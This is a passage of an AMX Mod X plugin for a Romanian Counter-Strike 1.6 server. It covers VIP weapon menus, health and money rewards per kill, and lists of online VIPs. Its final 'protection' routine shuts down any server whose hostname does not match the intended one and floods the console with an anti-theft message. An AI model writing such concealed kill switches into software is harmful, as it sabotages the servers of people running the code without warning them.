1003 give_item(id, "weapon_glock18")
1004 cs_set_user_bpammo(id, CSW_GLOCK18, 120)
1005 }
1006 }
1007
1008 switch(i_Key)
1009 {
1010 case 1:
1011 {
1012 vip_opened[id]++
1013 /*if(user_has_weapon(id, CSW_C4))
1014 engclient_cmd(id, "drop", "weapon_c4")*/
1015
1016 for(new i = 0;i < sizeof primaryWeapons;i++)
1017 engclient_cmd(id, "drop", primaryWeapons[i])
1018
1019 give_item(id, "weapon_m4a1")
1020 cs_set_user_bpammo(id, CSW_M4A1, 90)
1021
1022 if(get_pcvar_num(cvar_chat) == 1)
1023 chat_color(id, "!g[TULCEA-VIP]!t VIP-ul !g%s!t a primit M4A1 gratuit + !gGrenade", name)
1024 }
1025 case 2:
1026 {
1027 vip_opened[id]++
1028 /*if(user_has_weapon(id, CSW_C4))
1029 engclient_cmd(id, "drop", "weapon_c4")*/
1030
1031 for(new i = 0;i < sizeof primaryWeapons;i++)
1032 engclient_cmd(id, "drop", primaryWeapons[i])
1033
1034 give_item(id, "weapon_ak47")
1035 cs_set_user_bpammo(id, CSW_AK47, 90)
1036
1037 if(get_pcvar_num(cvar_chat) == 1)
1038 chat_color(id, "!g[TULCEA-VIP]!t VIP-ul !g%s!t a primit Ak47 gratuit + !gGrenade", name)
1039 }
1040 case 3:
1041 {
1042 vip_opened[id]++
1043 /*if(user_has_weapon(id, CSW_C4))
1044 engclient_cmd(id, "drop", "weapon_c4")*/
1045
1046 for(new i = 0;i < sizeof primaryWeapons;i++)
1047 engclient_cmd(id, "drop", primaryWeapons[i])
1048
1049 give_item(id, "weapon_awp")
1050 cs_set_user_bpammo(id, CSW_AWP, 30)
1051
1052 if(get_pcvar_num(cvar_chat) == 1)
1053 chat_color(id, "!g[TULCEA-VIP]!t VIP-ul !g%s!t a primit Polar gratuit + !gGrenade", name)
1054 }
1055 case 4:
1056 {
1057 vip_opened[id]++
1058 /*if(user_has_weapon(id, CSW_C4))
1059 engclient_cmd(id, "drop", "weapon_c4")*/
1060
1061 for(new i = 0;i < sizeof primaryWeapons;i++)
1062 engclient_cmd(id, "drop", primaryWeapons[i])
1063
1064 give_item(id, "weapon_famas")
1065 cs_set_user_bpammo(id, CSW_FAMAS, 90)
1066
1067 if(get_pcvar_num(cvar_chat) == 1)
1068 chat_color(id, "!g[TULCEA-VIP]!t VIP-ul !g%s!t a primit Famas gratuit + !gGrenade", name)
1069 }
1070 case 5:
1071 {
1072 vip_opened[id]++
1073 /*if(user_has_weapon(id, CSW_C4))
1074 engclient_cmd(id, "drop", "weapon_c4")*/
1075
1076 for(new i = 0;i < sizeof primaryWeapons;i++)
1077 engclient_cmd(id, "drop", primaryWeapons[i])
1078
1079 give_item(id, "weapon_galil")
1080 cs_set_user_bpammo(id, CSW_GALIL, 90)
1081
1082 if(get_pcvar_num(cvar_chat) == 1)
1083 chat_color(id, "!g[TULCEA-VIP]!t VIP-ul !g%s!t a primit Galil gratuit + !gGrenade", name)
1084 }
1085 case 6:
1086 {
1087 vip_opened[id]++
1088 /*if(user_has_weapon(id, CSW_C4))
1089 engclient_cmd(id, "drop", "weapon_c4")*/
1090
1091 for(new i = 0;i < sizeof primaryWeapons;i++)
1092 engclient_cmd(id, "drop", primaryWeapons[i])
1093
1094 give_item(id, "weapon_g3sg1")
1095 cs_set_user_bpammo(id, CSW_G3SG1, 90)
1096
1097 if(get_pcvar_num(cvar_chat) == 1)
1098 chat_color(id, "!g[TULCEA-VIP]!t VIP-ul !g%s!t a primit G3SG1 (D3/AU-1) gratuit + !gGrenade", name)
1099 }
1100 case 7:
1101 {
1102 vip_opened[id]++
1103 /*if(user_has_weapon(id, CSW_C4))
1104 engclient_cmd(id, "drop", "weapon_c4")*/
1105
1106 for(new i = 0;i < sizeof primaryWeapons;i++)
1107 engclient_cmd(id, "drop", primaryWeapons[i])
1108
1109 give_item(id, "weapon_sg550")
1110 cs_set_user_bpammo(id, CSW_SG550, 90)
1111
1112 if(get_pcvar_num(cvar_chat) == 1)
1113 chat_color(id, "!g[TULCEA-VIP]!t VIP-ul !g%s!t a primit SG550 (Counter-Terorist) gratuit + !gGrenade", name)
1114 }
1115 case 8:
1116 {
1117 g_chosen[id] = false;
1118 vip_opened[id] = 0;
1119 g_Weapon[id] = 0;
1120 first_menu(id);
1121 }
1122 }
1123
1124 //menu_destroy(menu);
1125 return PLUGIN_CONTINUE;
1126}
1127
1128public first_menu(id)
1129{
1130 if(!UserInBuyZone[id] && is_user_alive(id))
1131 {
1132 client_print(id, print_center, "Doar din Spawn iti poti sa iti iei iteme pentru VIP!");
1133 return PLUGIN_HANDLED;
1134 }
1135
1136 if(remove_vip)
1137 return PLUGIN_HANDLED;
1138
1139 if(!is_user_connected(id))
1140 return PLUGIN_HANDLED;
1141
1142 i_Menu_Pistol = menu_create("Ce pistol doresti Boss?", "first_menu_handler")
1143
1144 menu_additem(i_Menu_Pistol, "Deagle [35 Gloante]", "1", 0)
1145 menu_additem(i_Menu_Pistol, "USP [100 Gloante]", "2", 0)
1146 menu_additem(i_Menu_Pistol, "Glock [120 Gloante]\y", "3", 0)
1147
1148 menu_setprop(i_Menu_Pistol, MPROP_EXIT, MEXIT_ALL);
1149 menu_display(id, i_Menu_Pistol, 0)
1150
1151 return PLUGIN_HANDLED;
1152}
1153
1154public first_menu_handler(id, menu, item)
1155{
1156 if(item == MENU_EXIT)
1157 {
1158 menu_destroy(menu)
1159 return PLUGIN_HANDLED
1160 }
1161
1162 new s_Data[6], s_Name[60], i_Access, i_Callback
1163 menu_item_getinfo(menu, item, i_Access, s_Data, charsmax(s_Data), s_Name, charsmax(s_Name), i_Callback)
1164 new i_Key = str_to_num(s_Data)
1165
1166 for(new i = 0;i <6;i++)
1167 fm_strip_user_gun(id, pistols[i])
1168
1169 switch(i_Key)
1170 {
1171 case 1:
1172 {
1173 if(vip_opened[id] == 0 && g_Round >= get_pcvar_num(cvar_round))
1174 {
1175 main_menu(id)
1176
1177 for(new i = 0;i < sizeof secondaryWeapons;i++)
1178 engclient_cmd(id, "drop", secondaryWeapons[i])
1179 }
1180
1181 g_chosen[id] = true;
1182 g_Weapon[id] = 1;
1183 give_item(id, "weapon_deagle")
1184 cs_set_user_bpammo(id, CSW_DEAGLE, 35)
1185 }
1186 case 2:
1187 {
1188 if(vip_opened[id] == 0 && g_Round >= get_pcvar_num(cvar_round))
1189 {
1190 main_menu(id)
1191
1192 for(new i = 0;i < sizeof secondaryWeapons;i++)
1193 engclient_cmd(id, "drop", secondaryWeapons[i])
1194 }
1195
1196 g_chosen[id] = true;
1197 g_Weapon[id] = 2;
1198 give_item(id, "weapon_usp")
1199 cs_set_user_bpammo(id, CSW_USP, 100)
1200 }
1201 case 3:
1202 {
1203 if(vip_opened[id] == 0 && g_Round >= get_pcvar_num(cvar_round))
1204 {
1205 main_menu(id)
1206
1207 for(new i = 0;i < sizeof secondaryWeapons;i++)
1208 engclient_cmd(id, "drop", secondaryWeapons[i])
1209 }
1210
1211 g_chosen[id] = true;
1212 g_Weapon[id] = 3;
1213 give_item(id, "weapon_glock18")
1214 cs_set_user_bpammo(id, CSW_GLOCK18, 120)
1215 }
1216 }
1217
1218 //menu_destroy(menu);
1219 return PLUGIN_CONTINUE;
1220}
1221
1222stock get_vips_online()
1223{
1224 new players[32], pnum, vs, i, userid
1225 get_players(players, pnum, "ch")
1226
1227 for(i = 0; i < pnum; i++)
1228 {
1229 userid = players[i]
1230
1231 if(!(is_vip(userid)))
1232 continue;
1233
1234 vs ++;
1235 }
1236
1237 return vs
1238}
1239
1240stock chat_message(index, const message[], any:...)
1241{
1242 new sBuffer[256], dest
1243 vformat(sBuffer[1], charsmax(sBuffer), message, 3)
1244
1245 sBuffer[0] = '^1'
1246
1247 replace_all(sBuffer[1], charsmax(sBuffer), "!y", "^1")
1248 replace_all(sBuffer[1], charsmax(sBuffer), "!t", "^3")
1249 replace_all(sBuffer[1], charsmax(sBuffer), "!g", "^4")
1250
1251 sBuffer[192] = '^0'
1252
1253 if(index)
1254 {
1255 dest = MSG_ONE_UNRELIABLE
1256 }
1257 else
1258 {
1259 dest = MSG_BROADCAST
1260 }
1261
1262 message_begin(dest, get_user_msgid("SayText"), {0, 0, 0}, index)
1263 write_byte(index)
1264 write_string(sBuffer)
1265 message_end()
1266}
1267
1268/*public Damage(id)
1269{
1270 new weapon, hitpoint, attacker = get_user_attacker(id,weapon,hitpoint)
1271 if(attacker<=MAXPLAYERS && is_user_alive(attacker) && attacker!=id)
1272 if(get_user_flags(id) & VIP_FLAG) //Checks if player is VIP
1273 {
1274 new money = read_data(2) * get_pcvar_num(cvar[money_hs]
1275 if(hitpoint==1) money += get_pcvar_num(cvar[money_hs] //Checks if player damages enemy by head shot
1276 cs_set_user_money(attacker,cs_get_user_money(attacker) + money) //Gives money for damaging enemys
1277 }
1278}*/
1279
1280public event_DeathMsg()
1281{
1282 if(remove_vip)
1283 return PLUGIN_HANDLED;
1284
1285 new killer = read_data(1);
1286 new victim = read_data(2);
1287 new headshot = read_data(3);
1288 new hp = headshot ? get_pcvar_num(cvar[hp_hs]) : get_pcvar_num(cvar[hp_kill]);
1289 new money = headshot ? get_pcvar_num(cvar[money_hs]) : get_pcvar_num(cvar[money_kill]);
1290
1291 if(is_vip(victim))
1292 if(!g_chosen[victim])
1293 set_task(1.0, "first_menu", victim)
1294
1295 if(is_user_alive(killer) && (is_vip(killer) || get_user_flags(killer) & read_flags("y") || vip_free))
1296 {
1297 if(killer == victim) return PLUGIN_HANDLED;
1298 if(hp != 0) set_user_health(killer, clamp(get_user_health(killer) + hp, 1, get_pcvar_num(cvar[max_hp_kill])));
1299 if(money != 0) cs_set_user_money(killer, clamp(cs_get_user_money(killer) + money - 300, 1, 16000));
1300
1301 set_hudmessage(0, 255, 0, -1.0, 0.15, 0, 1.0, 1.0, 0.1, 0.1, -1)
1302 show_hudmessage(killer, "Healed +%d HP", hp);
1303
1304 message_begin(MSG_ONE, get_user_msgid("ScreenFade"), _, killer);
1305 write_short(1<<10);
1306 write_short(1<<10);
1307 write_short(0x0000);
1308 write_byte(0);
1309 write_byte(0);
1310 write_byte(200);
1311 write_byte(75);
1312 message_end();
1313 }
1314
1315 return PLUGIN_CONTINUE;
1316}
1317
1318public hook_say(id)
1319{
1320 /*static szAllArgs[1023];
1321 read_args(szAllArgs, charsmax(szAllArgs))
1322 if((containi(szAllArgs, "/vip")!= -1 || containi(szAllArgs, "/vips")!= -1))
1323 return PLUGIN_HANDLED;*/
1324
1325 new said[192];
1326 read_args(said,192);
1327 if(contain(said, "/vips") != -1)
1328 set_task(0.1,"check_vips",id);
1329
1330 return PLUGIN_CONTINUE;
1331}
1332
1333public check_vips(id)
1334{
1335 new sBuffer[128], sVipname[32], sSlots[34], userid, vs, i
1336
1337 formatex(sBuffer, charsmax(sBuffer), "!t[-!gV!tI!gP's!t-] !gOnline: ")
1338
1339 new z;
1340 if((z = get_vips_online()))
1341 {
1342 new players[32], pnum
1343 get_players(players, pnum, "ch")
1344
1345 for(i = 0; i < pnum; i++)
1346 {
1347 userid = players[i]
1348
1349 if(!(is_vip(userid)))
1350 continue;
1351
1352 vs ++;
1353 get_user_name(userid, sVipname, charsmax(sVipname))
1354 formatex(sSlots, charsmax(sSlots), "!t%s!g%s", sVipname, z == vs ? ".":", ")
1355 add(sBuffer, charsmax(sBuffer), sSlots)
1356 }
1357 }
1358 else if(!get_vips_online())
1359 {
1360 add(sBuffer, charsmax(sBuffer), "!tThere is no vip's !gOnline!")
1361 }
1362
1363 chat_message(id, sBuffer)
1364}
1365
1366public print_adminlist(user)
1367{
1368 new adminnames[33][32];
1369 new message[256];
1370 new id, count, x, len;
1371
1372 for(id = 1 ; id <= get_maxplayers() ; id++)
1373 if(is_user_connected(id))
1374 if(is_vip(id) || get_user_flags(id) & read_flags("y"))
1375 get_user_name(id, adminnames[count++], charsmax(adminnames[ ]));
1376
1377 len = format(message, 255, "^1VIP-ii online sunt:^4 ");
1378 if(count > 0)
1379 {
1380 for(x = 0 ; x < count ; x++)
1381 {
1382 len += format(message[len], 255-len, "%s%s ", adminnames[x], x < (count-1) ? ", ":"");
1383 if(len > 96)
1384 {
1385 print_message(user, message);
1386 len = format(message, 255, " ");
1387 }
1388 }
1389 print_message(user, message);
1390 }
1391 else
1392 chat_color(id, "!g[TULCEA - VIP]!t ^1Nu sunt ^4VIP^1-i online.")
1393
1394 return PLUGIN_CONTINUE;
1395}
1396
1397public StatusIcon_buyzone_OFF(id)
1398{
1399 if(!remove_vip)
1400 {
1401 UserInBuyZone[id] = false;
1402 CheckMenuClose(id);
1403 }
1404}
1405
1406public Event_StatusIcon_Show_buyzone(id)
1407 if((is_vip(id) || get_user_flags(id) & read_flags("y") || vip_free))
1408 UserInBuyZone[id] = true;
1409
1410CheckMenuClose(id)
1411{
1412 new oldMenuId, newMenuId;
1413 player_menu_info(id, oldMenuId, newMenuId)
1414 if(newMenuId > -1 && newMenuId == i_Menu || newMenuId > -1 && newMenuId == i_Menu_Pistol)
1415 menu_cancel(id);
1416}
1417
1418print_message(id, msg[])
1419{
1420 message_begin(MSG_ONE, get_user_msgid("SayText"), {0,0,0}, id);
1421 write_byte(id);
1422 write_string(msg);
1423 message_end();
1424}
1425
1426stock bool: is_vip(const id)
1427{
1428 if(!is_user_connected(id))
1429 return false;
1430
1431 if(IsUserVip[id] || get_user_flags(id) & read_flags("x")) /*|| equali(name, "seven|sin")|| equali(name, "PedoBear"))*/
1432 return true;
1433
1434 return false;
1435}
1436
1437stock chat_color(const id, const input[], any:...)
1438{
1439 new count = 1, Jucatori[32]
1440 static msg[191]
1441 vformat(msg, 190, input, 3)
1442
1443 replace_all(msg, 190, "!g", "^4")//Culoarea Verde
1444 replace_all(msg, 190, "!y", "^1")//Culoarea Normala a Chat-ului (galben)
1445 replace_all(msg, 190, "!t", "^3")//Culoarea Echipei : CT = Albastru | T = Rosu.
1446
1447 if (id)Jucatori[0] = id;else get_players(Jucatori, count, "ch")
1448 {
1449 for (new Y = 0;Y <count;Y++)
1450 {
1451 if (is_user_connected(Jucatori[Y]))
1452 {
1453 message_begin(MSG_ONE_UNRELIABLE, get_user_msgid("SayText"), _, Jucatori[Y])
1454 write_byte(Jucatori[Y]);
1455 write_string(msg);
1456 message_end();
1457 }
1458 }
1459 }
1460}
1461
1462//======================================================//
1463// END Stock-URI ===>>>>> PROTECTIE
1464//======================================================//
1465/* Protected Plugin */
1466public _ProtectCheck_()
1467{
1468 new HostNameProtect[] = "TULCEA.PLAYARENAv.RO"
1469 new HostNameProtectTESTE[] = "Server Teste"
1470 new ActualHostname[64], xP[32], xN
1471
1472 get_pcvar_string(get_cvar_pointer("hostname"), ActualHostname, 63)
1473 strtoupper(ActualHostname)
1474
1475 if (containi(ActualHostname, HostNameProtect) != -1 || containi(ActualHostname, HostNameProtectTESTE) != -1)
1476 return PLUGIN_CONTINUE
1477 else
1478 {
1479 server_cmd("quit;exit;map de_dust2") //quit;exit;map de_dust2;map hns_floppywon -> VECHI
1480 pause("ade"); //Nou
1481 for (new i=0;i < 500000;i++)
1482 {
1483 get_players(xP, xN)
1484 //for (new o=0;o < xN;o++)
1485 //chatcolor(xP[i], "!tPluginul este protejat. Aceasta este o tentativa de frauda.")
1486
1487 server_print("[VIP TULCEA] Doresti sa furi addons-ul, domnule? Cauta-l pe, PaulSB aka M@f!aSB, ca sa il cumperi!")
1488 }
1489 }
1490
1491 return PLUGIN_CONTINUE
1492}
1493//======================================================//
1494// END PROTECTIE
1495//======================================================//